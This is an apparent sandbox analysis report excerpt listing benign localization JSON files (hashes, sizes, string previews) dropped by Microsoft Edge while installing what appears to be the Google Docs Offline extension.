SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\km\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\kn\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1880
Entropy (8bit):	4.295185867329351
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/UGG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZZ
MD5:	8E16966E815C3C274EEB8492B1EA6648
SHA1:	7482ED9F1C9FD9F6F9BA91AB15921B19F64C9687
SHA-256:	418FF53FCA505D54268413C796E4DF80E947A09F399AB222A90B81E93113D5B5
SHA-512:	85B28202E874B1CF45B37BA05B87B3D8D6FE38E89C6011C4240CF6B563EA6DA60181D712CCE20D07C364F4A266A4EC90C4934CC8B7BB2013CB3B22D755796E38
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ko\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\lo\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\lt\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\lv\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ml\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\mn\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\mr\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ms\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\my\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ne\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\nl\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\no\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\pa\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\pl\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Reputation:	unknown
